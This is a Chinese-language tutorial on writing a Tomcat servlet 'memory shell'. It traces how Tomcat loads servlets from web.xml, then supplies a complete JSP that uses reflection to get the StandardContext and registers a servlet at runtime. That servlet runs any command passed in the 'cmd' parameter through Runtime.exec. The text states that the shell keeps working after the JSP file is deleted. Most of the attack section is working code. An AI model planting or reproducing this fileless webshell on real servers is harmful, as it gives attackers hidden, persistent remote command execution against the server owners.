该分析servlet内存马的注册了,其实注册方式都大差不差,就是通过反射的方式生成web.xml的配置,然后添加到上下文中。

0x01 创建一个servlet

servlet是一个java程序,用于处理客户端(通常是Web浏览器)发起的请求并生成响应,

package Servlet;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class MyServlet extends HttpServlet {
public void init() {
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}


public void destroy() {
}
}

init()进行初始化,destroy()销毁,doGet()方法处理游览器发起的get请求,这里我添加恶意代码用于执行命令。然后再web.xml配置文件中添加路由相关信息。

<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-class>Servlet.MyServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>MyServlet</servlet-name>
<url-pattern>/MyServlet</url-pattern>
</servlet-mapping>

启动服务器,访问配置好的路由,

这就是一个servlet基本的功能,想要动态注册servlet内存马,就要清楚了解servlet的初始化过程。

0x02 读取web.xml

直接将目标定在读取web.xml配置文件的地方,也就是ContextConfig#configureContext方法。这里将断点下在读取servlet的地方进行调试

前几个都是系统默认的servlet,

遍历到我们自定义的servlet,创建一个所对应的wrapper,它是一个用于包装和管理Servlet的容器,一个context可以对应多个wrapper,但是一个wrapper只能封装一个servlet。接着往下调,经过两个没有用的if判断,我们直接跳过

将servlet的名称添加到wrapper中,遍历params的大小为0,跳过循环

这里将servlet的全限名添加进去,

然后将这个wrapper放进context里面,继续往下走

将 web.xml 中定义的 Servlet 映射添加到 Servlet 上下文中,到此我们在web.xml配置里的信息全部读取出来添加到context里了。

0x03 手写servlet马

依照读取web.xml的这几个步骤将servlet的相关信息以代码的方式添加到context中

首先是如何获取到context,之前分析其他内存马也提到jsp页面中存在request隐式对象,可以通过request对象获取到context(也就是StandardContext)request对象定义有getServletContext方法,可以获取到ServletContext,

通过反射获取context字段里的ApplicationContext

而在ApplicationContext里也有context字段,里面正是我们要获取的StandardContext上下文。

ServletContext servletContext = request.getServletContext();
Field ApplicationContextField = servletContext.getClass().getDeclaredField("context");
ApplicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ApplicationContextField.get(servletContext);

Field StandardContextField = applicationContext.getClass().getDeclaredField("context");
StandardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextField.get(applicationContext);

两部反射获取属性得到上下文,剩下的就好弄了,根据上面读取web.xml的步骤添加信息,

实例化一个wrapper,

Wrapper wrapper = standardContext.createWrapper();

wrapper中有内置的一个方法获取实例化的servlet,对我们自己定义的servlet类加载

wrapper.setServlet(new evalServlet());

然后将servlet的名称以及类名添加到wrapper中

wrapper.setName("evalServlet");
wrapper.setServletClass(evalServlet.class.getName());

最后将wrapper添加到上下文中,并且获取到servlet的映射信息,也就是路由

standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/evalServlet","evalServlet");

最终的servlet内存马如下

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class evalServlet extends HttpServlet {
public void init() {
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}
public void destroy() {
}
}
%>
<%
//获取StandardContext
ServletContext servletContext = (ServletContext) request.getServletContext();
Field ApplicationContextField = servletContext.getClass().getDeclaredField("context");
ApplicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ApplicationContextField.get(servletContext);
Field StandardContextField = applicationContext.getClass().getDeclaredField("context");
StandardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextField.get(applicationContext);

Wrapper wrapper = standardContext.createWrapper();

wrapper.setName("evalServlet");
wrapper.setServletClass(evalServlet.class.getName());

wrapper.setServlet(new evalServlet());

standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/evalServlet","evalServlet");
%>
</body>
</html>

重启服务器,演示一下

这样一个servlet内存马就注册成功了,jsp文件删除后仍然可以执行命令。